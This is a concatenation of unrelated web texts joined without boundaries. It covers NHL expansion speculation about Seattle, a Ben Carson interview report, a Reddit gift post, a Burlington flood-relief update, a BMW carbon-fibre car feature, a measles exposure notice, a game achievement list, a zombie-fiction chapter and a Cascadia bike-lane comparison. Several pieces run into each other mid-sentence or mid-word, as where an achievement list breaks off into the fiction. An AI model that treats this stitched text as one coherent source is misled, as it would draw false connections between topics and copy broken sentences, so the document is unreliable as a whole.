1. Estimation methods for the market share and market size figures mentioned in this article are described in detail in our PepsiCo and Coca-Cola company models at www.trefis.com.If you are in Seattle, before you read this piece, say three times out loud: “There are no guarantees. There are no guarantees. There are no guarantees.”
Gary Bettman was speaking at the Prime Time Sports Management Conference in Toronto this morning where Yahoo NHL reporter, Nick Cotsonika, captured this nugget from the Commissioner.
Bettman says NHL is not looking at formal expansion process. — Nick Cotsonika (@cotsonika) November 11, 2013
This drove me and probably only me into a frenzy on the use of the word “formal”. (I felt like John Cusack in High Fidelity) I immediately speculated that they will just announce any expansion team or teams. There will be no biding war of cities. The league knows which locations can been successful and what is good for the league (i.e. TV). Prospective owners will “apply” behind the scenes and the NHL will vet the location and owners for viability. I was hanging a lot on the inclusion of one word in a tweet. Could I be right? Bettman always chooses his words wisely and I thought this was very deliberate on his part. And then Nick confirmed after the talk:
Why did Bettman say the NHL was not looking at a formal expansion process? This is what he said about the word “formal” after his talk. (1) — Nick Cotsonika (@cotsonika) November 11, 2013
Bettman: “We get expressions of interest all the time, and those are informal conversations we have.” (2) — Nick Cotsonika (@cotsonika) November 11, 2013
Bettman: “But in terms of a formal bid process, I’m not focused on doing anything like that right now.” (3) — Nick Cotsonika (@cotsonika) November 11, 2013
Boom…well not that big of a deal but let’s get into it. Clearly the NHL will approve and process everything behind the scenes. What gets me excited is connecting all the dots over the last 6 months or so from the league:
Exhibit 1: Elliotte Friedman reports Seattle was plan B for Coyotes & the NHL blocked Vancouver from relocating their AHL team to Seattle.
Exhibit 2: Bill Daly says Northwest would get ‘serious consideration’ for new team,
Exhibit 3: Back in April, Bettman was talking with reporters and he kind of tipped his hand a bit when being asked about Seattle. For the record, this is the first time I’ve heard Bettman even mention Seattle and he certainly slipped a bit here.
Asked about Seattle as a potential NHL market in general, Bettman spoke highly. “The research I’ve seen tells me that it would be a very strong hockey market,” Bettman said. “I haven’t looked at it in detail, but it’s all anecdotal and third hand. Obviously if there were a team in Seattle, it might foster a pretty decent rivalry with the northern neighbor, namely Vancouver.” There was a pause and awkward silence after that. Bettman seemed to realize how that might come across, not only because of the Coyotes, but because of a new realignment of the league that seems destined for 32 teams. “But that doesn’t mean that anybody should take from that comment that we’re necessarily focused on Seattle or we’re planning on expanding there,” Bettman added quickly. “You asked the question about Seattle. I wouldn’t have raised it. But it’s obviously an interesting market.
Dots connected. There are a lot of dependencies and conditions here so let’s take a deep breadth and appreciate being part of the conversation and remember….
There are no guarantees.
There are no guarantees.
There are no guarantees.
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FacebookRepublican neurosurgeon Ben Carson hosted a choir singing an Eminem cover and vowed not to be "politically correct" at the event announcing his run for president in 2016. Here are those key moments and more. (AP)
Retired neurosurgeon Ben Carson, who launched his presidential bid last week, said Sunday that he would not have gone to war with Russia over its actions in Ukraine but stressed that the Obama administration has, nonetheless, bungled its response.
“No, I wouldn’t go to war over Ukraine. But I would handle Ukraine in a very different way,” he told Chris Wallace on "Fox News Sunday." “It was agreed that they would be protected if something happened with aggression. Have we lived up to that? Of course we have not. And what does that say to our other allies around the world?”
Carson — who is running as a Washington outsider — is frequently accused by critics of lacking sufficient political experience to effectively lead the country. The renowned pediatric neurosurgeon sought to push back against those criticisms Sunday, stressing the management experience he acquired as a surgeon, through his national nonprofit and as a member of several corporate boards.
“I simply say that experience can come from a variety of different places…But I’ve had a lot of experience. World experience,” Carson said. “...[Y]ou know, there are some good people in the political arena, but I’m not sure that they, in many cases, understand real life.”
Ben Carson is a renowned pediatric neurosurgeon and Republican contender for the White House in 2016. Here's his take on Obamacare, homosexuality and more, in his own words. (Julie Percha/The Washington Post)
He also defended his economic plan, which trumpets a flat tax — an idea that he says he got from the Bible and is "pretty darn fair."
“I got that idea, quite frankly, from the Bible. Tithing. You make 10 billion a year, you pay a billion. You make 10 dollars a year, you pay one. You get the same rights. That's pretty darn fair, if you ask me,” he told Wallace. “Some people say it's not fair because the poor people can't afford to pay that dollar. That's very condescending. I grew up very poor, I've experienced every economic level. And I can tell you that poor people have pride, too, and they don't just want to be taken care of.”
Wallace pushed back on the plan, suggesting that the numbers Carson was presenting were incorrect and that the plan favored the rich. "Let's have a battle of the experts," Carson responded.
Carson also stood by several controversial remarks he has made in the past — including comparisons between the contemporary United States and Nazi Germany — stressing that "we need to be willing to stand up and speak up for what we believe."
"There are a lot of people in our society who are afraid to say what they really mean because they may get an IRS audit, people will call them names, their jobs may be interfered with. This is not what America was supposed to be,” Carson said.
Wallace also asked Carson to clarify comments he made last week about the president’s obligation to carry out laws passed by Congress. In his comments, Carson had also stressed that the principle of judicial review, a guiding principle in the American political system, should be reconsidered.
“The way our Constitution is set up, the president or the executive branch is obligated to carry out the laws of the land. The laws of the land, according to our Constitution, are provided by the legislative branch. The laws of the land are not provided by the judiciary branch,” he told Wallace. "[T]his is an area we need to discuss. We need to get into a discussion of this because it has changed from the original intent. It is an open question."The UPS man came and boy did my secret Santa deliver. My cats came quickly as I opened the package. They must have known there were goodies in there for them. I got some good looking snacks: caramel but brownie truffles, wasabi peas, chili dark chocolate! My cats shoved their heads in the box to discover a bag of cat nip, a giant tub of treats (their favorite brand!), a laser pointer, and cat nip mice! Anyone who makes my cats happy makes me happy. I told my Santa that I collect salt and pepper shakers and boy did he deliver. Dachshund shaped shakers and a tardis and Dalek shaker set. I can't wait to add them to my collection. Finally I got a doctor who tshirt that I'm probably going to put on as soon as I'm done making this post. Thanks sympolmyndid, you made my day! This was my first experience with the reddit gift exchange and I can't wait for next year!The Burlington Community Foundation has stepped up to lead the formation of the disaster relief committee.
If ODRAP funding is approved, the province will provide up to $2 for every $1 raised by the community.
Ward 2 Councillor Marianne Meed Ward said she anticipates approval for provincial disaster assistance.
“If this isn’t a disaster, then nothing is,” she said.
Burlington MPP Eleanor McMahon said the province is well aware of the struggles residents are experiencing.
“This has been on the radar screen since the fourth of August,” McMahon said, adding there is not a set date at this point for a response from the province to the ODRAP request.
City council also unanimously passed a number of recommendations today in regards to Halton region, as it is the body responsible for sanitary sewage infrastructure.
Among the recommendations were that the region gives immediate priority and attention to address the sanitary sewage issues of those residents who have experienced flooding and significant property loss and damage on multiple occasions.
This includes, but is not limited to the May 13 and Aug. 4 storms this year.
Council also asked regional council to review the current level of financial assistance available as part of the region’s Basement Flooding Prevention Subsidy Program.
In relation, city staff was instructed to expedite any local approval processes and waive any connected fees.
There was also solid support around the table for city staff to look into the possibility of establishing a program to assist homeowners with the cost of building permit fees under the city’s building permit bylaw. A report is expected back at the Development and Infrastructure Committee meeting on Sept. 8.
Three residents delegated to council today, sharing stories of the physical, emotional and financial toll.
Joanne Karaiskakis, who has lived in her Bridle Wood home for 17 years, experienced sewage backup in her home for the fourth time on Aug. 4.
She had recently finished repairs and renovations in her basement from sewage backup caused by the May 13 storm.
“I now have two levels of my home that are unlivable,” she said, noting some of her neighbours are worse off and that a solution needs to be found for homes that flood regularly.
“My husband and I will get over this. Financially, it has taken us to the brink and we’re going to have some difficulties coming back from this.”
Michelle Perrone-Bonavita, a neighbouring Bridle Wood resident, says she considers her basement a sewage backup container for the region. She says this is a problem that should have been addressed a long time ago.
“Under no circumstances on a regular basis should my neighbour's waste end up in my basement,” said Perrone-Bonavita, who has lived in her home for nine years. “That is public waste. It’s entering our private property…. Not only do we experience rain events, we are experiencing sewage backup events.”
Maui Groff, who has called Meadowhill Road home for 3 ½ years, said she and her husband experienced sewage backup in their home for the first time on May 13.
They were still dealing with the aftermath, including doing laundry at a neighbour’s house, when the basement filled with four feet of sewage on Aug. 4.
“My husband and I, we are a young couple, we live in an older neighbourhood, we absolutely love living in Burlington, but right now we feel stuck,” she said. “There’s nowhere for me to go. I can’t even sell my house if I wanted to.”
The three delegates presented a list of recommendations to the region and city that came out of a neighbourhood meeting of 45 residents last Sunday.
The list, which was added to the recommendations for the region, included a number of demands, such as determining if certain areas are deemed sewage backup/flood risks; an immediate, comprehensive study of city-wide water flow and infrastructure flaws, including the need for repairs; regular monitoring, assessment, repair and servicing of sanitation sewers and lines, and asking health officials to inform residents of the health and safety precautions in the incident of a sewage backup.
Scott Stewart, acting city manager and general manager of infrastructure and development, said the fact that almost 200 millimetres of water came down in a matter of hours meant that no infrastructure improvements could have prevented all homes from flooding.
He noted any possible flood and sewage backup prevention measures will require a holistic approach between the city, region and Conservation Halton.
Mayor Rick Goldring said discussions around the inadequacy of the insurance system will be raised during an Association of Municipalities Ontario meeting next week.
Anyone wishing to donate to Burlington Flood Relief Fund can do so online at http://www.uwaybh.ca, by calling 905-635-3138, emailing uway@uwaybh.ca or by visiting in person at 3425 Harvester Rd., Unit 107.
Samaritan’s Purse arrived in Burlington this week to co-ordinate volunteers to help residents with their cleanup efforts. They are looking for volunteers and can be reached at 905-592-1874.
The Burlington Professional Firefighters Association is registering volunteers online at www.iaff1552.org.
For city and region updates and information on the flood, including a new message board to allow residents to post messages if they have items, such as furniture, gently used clothes, non-perishable food and helpful services to donate to flood victims, visit www.burlington.ca/flood.
Residents can also access www.halton.ca/flood.
Previously unreported home flood damage, regardless of severity, caused by last Monday’s storm should be reported by calling 311.Cars may have conquered the world, but they didn't do it overnight. Decades after its invention in 1886, the passenger car was still too expensive and too impractical to be anything more than a rare sight on the streets. Gas stations didn't even exist in those days.
The spread of electric cars in the 21st century seems to be proceeding at a similar slow pace. The first models from major manufacturers are now hitting the market, but as a form of transportation, these vehicles face much the same acceptance problem as Gottlieb Daimler's horseless carriage did. These cars have a high price tag but offer low performance.
Mitsubishi has released its first electric car series under the rather uninspiring model designation i-MiEV. It's a simply furnished compact car with an oval body and lithium-ion batteries under the floor panel. With one charge of the battery, the vehicle can travel 100 kilometers (62 miles) in summer or 60 kilometers (37 miles) in winter. It costs 34,390 ($45,240).
Nissan's electric car, the Leaf -- set to hit the German market next year -- faces the same cost-benefit plight. Even so, European automobile journalists saw fit to name the Leaf their "Car of the Year."
It doesn't take extensive market research to see that something doesn't add up here. What customer is willing to pay the price of a luxury sedan for a spartan vehicle whose operating radius barely extends beyond the range of commuter trains?
Too Weak and Too Heavy
All car manufacturers face the same problem -- even the most modern rechargeable batteries are too expensive, too weak and too heavy to power conventional cars, which are already excessively heavy even without the batteries.
"Integrating electric power into existing vehicle concepts is the wrong way, a dead end," declares Rainer Kurek, head of the Munich-based MVI Group, which develops car bodies and other components for the automotive industry. In his recently published book, Kurek urges vehicle manufacturers to take a completely new approach. "The current hype surrounding electric vehicles," the engineer writes, "is obscuring the fact that today's auto bodies have become far too heavy over the course of the last decades."
A first-series Volkswagen Golf from 1974 weighs 750 kilograms (1,653 pounds). A Golf from today's production series weighs around half a ton more. It's also an entire vehicle class larger than its predecessor, contains a standard eight airbags and can drive into a wall at 64 kilometers per hour (40 miles per hour) without its occupants being seriously injured. Such an accident in the original Golf would have meant certain death.
Technological progress has long meant an inevitable increase in weight. The aluminum auto bodies used in Audi's luxury cars, for example, just barely manage to make up for the weight added by the all-wheel drive system that the brand has made its trademark. Hardly a technical revolution.
Now, though, BMW is attempting to break the cycle. Three years from now, the Munich-based company plans to offer an electric vehicle of a completely different construction type. The project, known as Megacity Vehicle (MCV), won't contain steel or aluminum bodywork. Instead, it will have a light alloy frame in the car floor and a body made of carbon fiber-reinforced polymer (CFRP).
An Economic Riddle
CFRP is a dull black material which has a chemical structure similar to that of diamonds. It is sturdier than steel and weighs less than half as much. The MCV body will be 250 to 300 kilograms (550 to 660 pounds) lighter than that of a conventional electric car of the same size, compensating fully for the additional weight of the batteries.
BMW is alone in pursuing the concept -- the boldest idea currently under development in the automobile world, and one which is an economic riddle for the competition. CFRP materials have been available for nearly 50 years and are used in the aviation and aerospace industries, in car racing and, most recently, in rotor blades for wind turbines. Still, the idea of mass-producing cars from the material would appear to make little sense.
CFRP, after all, is 50 times as expensive as steel. A car body component made of steel sheet costs about 4 in its final form; the same part made from CFRP costs at least 200. To achieve the desired lightweight construction, BMW will need to use very large quantities of the material -- 150 to 200 kilograms (330 to 440 pounds) per vehicle.
BMW, of course, has no intention of manufacturing a compact with a body that alone costs 40,000. Company engineers have set a goal of a tenfold reduction in production costs for CFRP. That would spell a true revolution in industrial engineering.
'Megatrend'
BMW's partner in this venture is SGL Carbon. Based in Wiesbaden, SGL was once owned by the Hoechst chemicals company and is currently Europe's sole manufacturer of carbon fiber materials. The company's profits have traditionally come mainly from other carbon products, such as graphite. But the company hopes to be able to transform carbon-fibers from a niche material into a profitable business. CEO Robert Koehler calls it a "megatrend in materials substitution."
The joint venture of SGL and BMW produces these carbon fibers, 10 times thinner than a human hair, in the northwestern United States. The manufacturing process consumes an enormous amount of electricity, but hydroelectric power is cheap in the mountainous state of Washington.
More significant cost reductions are to be achieved once the black mini-threads arrive in an industrial park outside the town of Wackersdorf in Bavaria. Here, on a site once meant for processing spent nuclear fuel rods, an unusual textiles factory is setting up shop to serve the auto body construction industry.
Four knitting machines, each as large as a train car, take up most of a 7,500-square-meter (80,700-square-foot) factory floor. But instead of producing material for T-shirts and jeans, the outsized machines produce carbon fiber fabric, at speeds no other manufacturer has even approached.The Pennsylvania Department of Health is advising the public of potential exposure to a case of measles, a vaccine-preventable disease, in
Delaware and Philadelphia counties.
A person who likely has measles may have exposed other people to the disease on the following dates at these southeastern Pennsylvania locations and times:
-CVS Pharmacy, 316 E. Lancaster Avenue, Wayne, Pa.:
Sunday, Dec. 28, from 5:30 to 8pm.-
Please Touch Museum, Memorial Hall, Fairmount Park, 4231 Avenue of the Republic, Philadelphia, Pa.:
Monday, Dec. 29, from 3:30 to 5pm.
Although the vaccine for measles is highly effective, the following groups of individuals are at risk of becoming infected if they have had contact with an infected individual:
1. Infants less than one year of age who are too young to have received the measles, mumps and rubella (MMR) vaccine
2. Individuals who were vaccinated with an inactivated vaccine, which was used from 1963 through 1967, and have not been revaccinated
3. Individuals born after 1957 who have only received one dose of MMR vaccine
4. Individuals who refused vaccination
5. Individuals from parts of the world where there is low vaccination coverage or circulating measles.
Measles is caused by a highly contagious virus. Symptoms will begin one to two weeks after exposure and include a runny nose, watery eyes, cough and a high fever. After four days, a raised, red rash starts to spread on the face, down the body and out to the arms and legs. The rash usually lasts four to seven days. An individual with measles can spread the virus to others for four days before and four days after the rash begins. It is spread by sneezing or coughing, touching contaminated objects, and direct contact with infected nasal or throat secretions.Not Bad
Won a player match online.
23.3%
Rare 57.69%
Common
Okay! I'm Ready!
Won a battle in online tournament.
11.7%
Very Rare 42.11%
Uncommon
Instant Annihilation
Won three times consecutively in Treasure Battle.
53.1%
Common 74.60%
Common
Wow, I'm Pretty Strong!
Won three special matches in Treasure Battle.
20.9%
Rare 48.82%
Uncommon
Let's Do This
Finished Chapter 1 of the main story.
62.1%
Common 78.53%
Common
You Challenge Me?!
Finished Chapter 8 of the main story.
43.0%
Rare 66.75%
Common
I Can't Accept This Fate
Finished Chapter 13 of the main story.
37.7%
Rare 63.02%
Common
Lightning Of Fate
Finished 10 Character Episode stories.
23.1%
Rare 50.80%
Common
No Pain, No Gain
Dealt 50,000 damage in Practice mode.
|
’s one,” called Luke.
“More here,” Martin offered.
“Good,” Alex said. “Let’s get everything collected and we’ll plot it out.”
Everyone continued shuffling through papers, scanning for any mention of troop movements or secure government facilities. Nearly half an hour passed before all of the data had been sifted through.
“Okay,” Alex said, calling his team back around the map. “What have we got?”
Everyone looked to each other, waiting for the first to speak. Donovan spoke up.
“More on the troops,” he said. “Supply lists. Not very consistent among the groups, but that could be due to difference in troop allotments.” Donovan handed the documents over to Alex. He shrugged his shoulders. “Would be interesting to see.”
“Okay,” Alex said with a sigh. Grabbing a Sharpie he began quickly writing numbers next to the various troop locations. Finishing the last, Alex stood back from the map. “Huh,” he said, still looking at the map.
“What?” Hayden said. “What do you see?”
Alex looked up from the map startled, almost as if he forgot anyone was there. “Well, the numbers don’t match.”
“What do you mean they don’t match?” Donovan said, leaning over the map to look closer.
“Christ, none of us can see anything,” Theresa said and snatched the Sharpie from Alex’s hand. Pushing Alex out of the way, Theresa bent over the map and hurredly drew visual representations of the numbers. Squares of varying sizes indicating food and supplies, circles showing ammunition and weapons shipments. “There,” she said, tossing the capped Sharpie on the map and stepping away.
Everyone leaned in towards the map to see the new information. “This doesn’t make sense,” Hayden said. “Why do some of these smaller places have more supplies than the other?”
“I believe that’s what I said,” Alex sniped, eyeing Theresa.
“Yes, but now we ALL can see it,” Theresa said.
“Okay, back to the data at hand.” Liam tried to get everyone back on track. “Look at the map. Those area that received the most supplies survived the initial outbreak.”
“And the amount of troops does not correlate to survival or supplies.” Theresa shook her head. “I don’t think there’s anything here.”
“Now just wait,” Dr. Cahn spoke up. He had been silent the entire evening until now. “These are only three data points and we have a lot more information here. Before we just give up the ship, lets see where the rest takes us.”
Heads nodded and everyone agreed. Each man in thrun handed over their information. The data, if possible, was carefully added to the map and sorted into their appropriate stack along with the others. An hour passed without any significant revelations.
“Yup, pretty sure this is pointless,” Luke spouted, breaking the silence in the room.
“I’m starting to agree with you,” Dr. Cahn agreed. “None of this makes any sense.”
“Now wait,” Hayden spoke up. “There’s still a lot more information to go through…”
“And it’s all the same,” Luke interrupted. “We’re just going around in circles.”
“What if we look through everything we’ve got left. Filter out anything that’s not the same thing we have already seen?” Theresa offered. Everyone in the room pondered the solution. Liam finally agreed.
“Okay,” he said. “But only for another half hour. We could waste all night and the next day going through this stuff.”
“Agreed,” Theresa nodded, and once more veryone shuffled through their seemingly unending stacks of data.
“Here’s something,” Liam offered, looking carefully at the papers in front of him. “But for the life of me I can’t tell what it’s talking about.”
Alex crossed over and took the proffered document from Liam. He studied it for a moment before speaking. “Looks like some kind of medical document. Lots of government speak, but I think there’s something about a vaccine, or a shot, or…something.”
Now Dr. Cahn took the papers. He scanned them quickly, flipping back and forth between the pages. “These are orders for some kind -of vaccine,” Dr. Cahn said. “But,” he started flipping through the pages of the report again. “This doesn’t make sense.”
Alex looked over the doctor’s shoulder, trying to figure out what had the man stumped. “What’s the problem, doc?” The aging man shook his head.
“These orders seem to be for the same vaccine, but they don’t match.” Dr. Cahn held the papers out to Alex, pointing first at one set of orders, then flipping the page to show the second. “Do you see them? Here and here?” Alex once again took the documents and studied the orders for a long time.
“So just what is Etamox?” Ales asked. Dr. Cahn shrugged his shoulders.
“Don’t know. I’ve never heard of it before. And I’m not sure why there are two different variations of the order, either.”
Alelx continued looking between the papers. “Etamox-a and Etamox-c,” he said quietly.
“How are the vaccines distributed?” Theresa asked. Alex looked up from the papers, then over to Dr. Cahn. Handing the papers to the doctor, Alex picked up the Sharpie and hunched over the map.
Dr. Cahn began reading off the various locations and doses of the Etamox vaccines. As they continued, everyone gathered close to see if this newest information resulted in anything new. The more data sets that were plotted, the more everyone realized something was not right.
“I don’t like what I’m seeing,” Theresa said stunned. The data laid out before them showed a disturbing picture, one in which the secure areas and troop strongholds receiving Etamox-c were completely destroyed. The remaining strongholds, those which received the Etamox-a vaccine, survived.
“I don’t think this necessarily proves anything,” Dr. Cahn said. “Coinsidence?”
“That’s a pretty big coincidence,” Alex offered. “Considering everything else that’s gone on…”
“What?” Luke interrupted. “What are you suggesting? Conspiracy? That someone did this on purpose?”
“I’m just hypothesizing,” Alex said defensively. “You have to admit that there are some pretty big coincidences.”
“But conspiracy?” Luke argued. “That’s big. Are we really saying that someone actually planned this?”
“Why not?” theresa said. She stood over the map, arms crossed and defiant. “Why couldn’t someone have planned the demise of those places?” Theresa’s posture dared anyone to cross her. Luke took the challenge.
“That’s bullshit and you know it! For what reason would anyone want to do what you’re suggesting? For that matter, just what are you suggesting?”
Theresa’s face was hard, anger flaring in her eyes. “I’m saying someone planned for those strongholds to fall. That they set it up, put things in motion. I’m saying that maybe the destruction of those places was not an accident. Maybe not even this outbreak.”
Murmers erupted around the group, each voicing concerns or agreements to the accusations Theresa offered. Luke was the loudest and most adamant. “Bullshit!” he said once he found his voice. “Total bullshit! Do you hear what you are saying?! You are accussing people of mass murder…”
“And why not?” Theresa interrupted. “People have done a lot worse.” The silence in the room was palpable. Luke looked around the room at each person standing around the desk.
“Does anyone else think that all this was planned?” Luke challenged. “Does anyone else believe this all was intentional? Do you?!” Luke’s voice raised in pitch and ferocity as he challenged anyone to go against him.
“Things are starting to look a little fishy,” Alex said calmly. “You have to admit that things are…”
“I don’t have to admit anything,” Luke spat. “We are jumping to a rediculous conclusion, and based on what? A few dots on a map? Information given to us from someone we don’t even know, and information we can’t even trust to be true?” Luke waved at the map, dismissing the information it displayed.
“We all agreed to trust the information,” Alex reminded him. “If we start nitpicking every piece of paper…”
“You mean being smart?” Luke interrupted him. “I will not blindly follow, Alex. And I for one think that this,” again Luke waved a dismissive hand at the map, “is a load of bullshit. We are forcing conclusions. We’re not using our heads.”
“And you’re refusing to look at all the options,” Theresa snapped.
“What?! I’m not refusing to look at anything, but his makes no sense.”
“Then what’s your theory?” Theresa said, cutting the man off. He simply shook his head, barely able to control his rage.
“I don’t know!” Luke shouted. “But this isn’t it. It can’t be!”
“Who were the Congressmen in the failed safety zones?” Hayden stood looking at the map, barely listening to the argument that raged around him. He rubbed his chin and appeared to have heard none of the heated exchange. Hayden looked up from the map and starred at Alex as if nothing else were going on in the room. “No, seriously. Who was where?”
“What does it matter?” Luke snipped. “They’re all dead.”
“Exactly. And if there is a conspiracy… Listen, I’m just curious who was where.” Hayden looked from Luke to Theresa to Alex. Alex just shrugged his shoulders.
“Okay. I’ll humor you.” Alex dug through the papers until he found the one he was looking for. He handed the paper to Liam and uncapped the Sharpie.
Liam read each name on the list, giving Alex enough time to locate their position on the map and notate it. After every name had been recorded, everyone studied the map in detail. “Great,” Luke snarked, “and just what did we learn from that?”
Everyone remained silent for a time, still focusing on the map before them. “I’m not sure I see much of anything there,” Alex commented. Still everyone remained silent, lost in thought. Just as Luke seemed ready to lose his temper, Hayden spoke up.
“Does anyone remember back to the last election?” he asked, looking up from the map. “Anyone remember all the controvercies that went down? Weren’t some of these dead Congressmen involved?” Everyone leaned closer to the map to look closer over the names written there.
“I remember some of it,” Dr. Cahn offered. “Some pretty low points in this country’s history, even considering it was politics. But were all of the dead Congressmen involved?”
“Senator Hutchinson,” Donovan offered. “He lead the rally call against the current administration, didn’t he?”
“Former administration,” Alex corrected. “There is no government left to speak of.”
Donovan rolled his eyes. “Okay, fine. Former government. Wasn’t Hutchinson very outspoken about the quote-unquote, evil practices of the Dalmer Administration? I seem to remember President Dalmer getting pretty pissed over some of the things that were being said about him.”
“I remember that too,” Cahn said, now looking at the map with more interest. “And here,” he pointed to a spot on the map. “Representative Page…he stood with Hutchinson on the House side, organizing those in the House of Representatives against the administration. Is there a connection?”
Another moment of silence engulfed them as each considered their own thoughts. The silence was broken by a curse from Alex. “Shit. Take a look at this,” he said, handing the paper he had been reviewing to Dr. Cahn. The man examined the paper for a moment before giving Alex a quizzical look.
“The President?” Cahn asked quietly. Alex nodded his head and leaned forward to X-out a spot on the map.
“Apparently the President’s compound was one of those that was lost in the outbreak. The President is dead.” The revelation of that news was a weight that pressed down on the room. The leader of the free world, the President, had been killed in the outbreak of the zombie war.
“There goes your theory,” Luke said, breaking the silence. Glaring eyes turned on the man. “What? You were all leading up to the conclusion that the President had conspired to release the virus. I don’t think that is viable now since he is dead.”
“No one said that President Dalmer did anything, Luke,” Cahn countered. “We are just looking at all the angles.”
“So it wasn’t Dalmer. Who did release the virus?” Eyes now shifted to a very beligerant looking Theresa Hill. She stood next to the desk, arms crossed, looking defiant. “Who else, that is still alive, would have benefited from killing over half the human population of the United States?”
“Seriously Theresa?! You still want us to believe that someone planned this…” Theresa cut Luke off, mid sentence.
“Yes. We haven’t finished going through everything yet. There is still a connection that we haven’t made. We just need…”
“Shut up! Jesus Christ, woman! You just won’t leave things well enough alone! No one planned this! No one is to blame! No one is guilty! The world has gone to shit and you have to blame someone for it, don’t you?!”
Theresa came flying across the desk at Luke, grabbing at the man’s clothes and swinging wildly at him. Everyone jumped back in surprise before collecting themselves and reaching in to separate the two.
“Knock it off!” Alex yelled, struggling with Liam to keep a hold of the fighting woman. “Knock it off!” Theresa relaxed some, stopping her struggle with the two men who were holding her back. Tears streamed down her face.
“I think we’ve done enough for tonight,” Dr. Cahn said quietly. “I suggest we all get some sleep. We are heading out to a new site tomorrow. Alpha team, correct?” Alex nodded, not taking his eyes off Theresa in case she chose to go after Luke again.
“The doc’s right. We leave tomorrow at noon, Beta teams heading out at 9 AM. Everyone needs to get some rest and check their gear. It’ll be a long couple of days to a week before we are back, so that will give everyone some time to collect their thoughts and calm themselves down before we discuss this again. Okay?” Heads around the tent nodded in agreement and everyone slowly started to make their way out. “The same goes for you,” Alex said to Theresa. Her eyes never left the back of Luke as he left the tent.
“Fine,” she growled, and pushed her way past the two men. Both Liam and Alex watched her exited before looking back to one another.
“Keep an eye on her, Liam. I don’t really trust her tonight.”
“I had the same thought,” Liam agreed. “I’ll talk with Donovan and we’ll get things arranged to keep an eye on her.” Liam shook his head and smiled. “Damn, that was exciting. You think that someone really did all this on purpose, Alex?”
Alex shrugged his shoulder and shook his head. “Not sure. But there are some big coincidences that I don’t think can be easily written off. We definitely need to keep an eye on all this.” Alex clapped his friend on the shoulder. “Try and get some sleep tonight, and let me know if I can help with the watch.”
“Will do,” Liam said and hurried out to find Donovan.Vancouver is the first big city in North America to see 10 percent of commuters going by bicycle.
It only takes a few minutes talking to transport honchos in Portland, Seattle, and Vancouver, BC, to get a sense of the intense, if friendly, competition among their cities to be king of the cycling hill. But in many ways the three largest urban centers of Cascadia form one big, soggy petri dish of experimentation in bike infrastructure.
All three are North American leaders in prioritizing complete streets and bicycle transportation, though each has taken it own path. “Portland, Seattle, and Vancouver are each making major strides toward connected, all-ages bike networks,” said Linda Bailey, executive director of the National Association of City Transportation Officials.
“Each has made important design policy moves recently,” she added, “from committing to an all-ages-and-abilities network (Vancouver) to setting protected bike lanes as a design standard (Portland) to moving forward with major walk-bike-and-transit-friendly redesigns with protected bike lanes on key streets (Seattle).”
Vancouver is the first big city in North America to see 10 percent of commuters going by bicycle—several years ahead of its 2020 target for that milestone—according to the city’s annual transportation panel survey. Portland, nudging 8 percent, is the clear US leader in bike commuting. Runner-up Minneapolis is at 5 percent, while Seattle is at 4 percent, similar to San Francisco and Washington, DC. But keep your eye on Seattle: A newly developed five-year project plan should yield an interconnected bikeway network that could significantly change the equation.
How much does safe-biking infrastructure matter in terms of luring commuters to the saddle? Well, consider that Vancouver nearly doubled the share of bike commuters from 4 percent in 2011, when a downtown network of barrier-separated bicycle lanes was just emerging, to reach 10 percent by 2015. It could be a coincidence, but folks in Vancouver seem convinced that having safe-feeling bikeways made commuters out of people who previously were “interested but concerned” would-be cyclists.
The table below shows each city’s miles of bikeways.
Portland has the most bike routes, but Vancouver the most protected lanes.
Miles of bicycle infrastructure Portland Seattle Vancouver, BC Protected bike lanes 6 14 16 Striped bike lanes 171 77 36 Neighborhood greenways 77 28 108 Off-street trails 85 53 33 Total 350 172 193
Source: City transportation departments of Portland, Seattle, and Vancouver, BC, as of April 14, 2017.
Overall, Portland has the most bike routes and Seattle the fewest miles overall. That said, most of Portland’s are just stripes of white paint, and Vancouver leads in protected bike lanes. For reference:
Protected bike lanes (PBLs) are facilities physically separated from motor vehicle traffic and distinct from the sidewalk; they may be one-way or two-way and may be at street level or raised several inches above.
(PBLs) are facilities physically separated from motor vehicle traffic and distinct from the sidewalk; they may be one-way or two-way and may be at street level or raised several inches above. Striped bike lanes are bike routes that are simply indicated on the road with a stripe of paint.
are bike routes that are simply indicated on the road with a stripe of paint. Neighborhood greenways are residential streets with low traffic volumes. They are designed to slow vehicle speeds, giving people on foot or bike safe and pleasant travel priority.
The chart also reveals where each city has placed its emphasis. Vancouver in the 1990s and 2000s focused on creating bikeways by slowing and reducing traffic on neighborhood and side streets, then in 2010 began connecting downtown PBLs in earnest. Starting in the late 1990s, Portland went in big for striped bike lanes and off-street trails before diving whole-hog into bike boulevards, à la Vancouver, and then calmer, slower neighborhood greenways. Seattle has played a little “me, too!,” following Portland into neighborhood greenways while beginning work on a downtown network of protected bike lanes like Vancouver.
What the mileages don’t tell, of course, is how connected the networks are, how wide and fast the arterial streets are, or how civil the culture of driving and sharing the roads is in each of these locales. For those and other nuances, we take a closer look at each city.
Portland: Small but mighty—and on the move
Portland began to earn its reputation as an urban cycling paradise in the late 1990s, following a bicycle master plan that called for more than 100 miles of striped bike lanes on arterial roads and dozens of “bike boulevards”—traffic-calmed streets with fewer than 1,000 cars a day, an idea pioneered in Vancouver. In 2009, Portland Bureau of Transportation (PBOT) took the concept even further, coining the term “neighborhood greenways” for all-ages, family-friendly streets where people on foot and bike rule. Using diverters and a variety of calming techniques, refuge islands, and roadway markings, the city began creating a network of streets with 500 or fewer cars a day, with speeds under 20 mph. For several years the city put $1 million a year into the program, until budgets got too tight. Still, the existing network, at 77 miles, covers a large swath of the city. (For more on this evolution, see this video.)
Though an early adopter of striped bike lanes and painted buffers, Portland has been late to the party with barrier-protected bike lanes. “We’ve totally been left behind on PBLs,” laments Jonathan Maus, editor of BikePortland.org. But that could be changing. In 2015, the director of PBOT, Leah Treat, issued a memo declaring that protected bike lanes should be the default design for every street where a bikeway is warranted. She reasoned that bicycle transportation was unlikely to meet its full potential or the city to reach its traffic safety goals—Vision Zero—without barrier-separated bikeways.
And in May 2016, voters approved a temporary 10-cent local gas tax, which will remove the remaining key barrier to acting on a long-planned network of PBLs: lack of money. The new tax funds the four-year Fixing Our Streets program, which designates a little more than half of its expected $64 million to projects for safer walking and biking.
Portland’s bike share program Biketown launched in July 2016 and signed up fully 3,000 one-year subscribers after just six months. The system is even more popular with visitors. In order to attract more local riders, city transportation officials are looking to speed up work on the downtown bike network in the hope that more central city denizens will feel comfortable grabbing bikes for their trips.
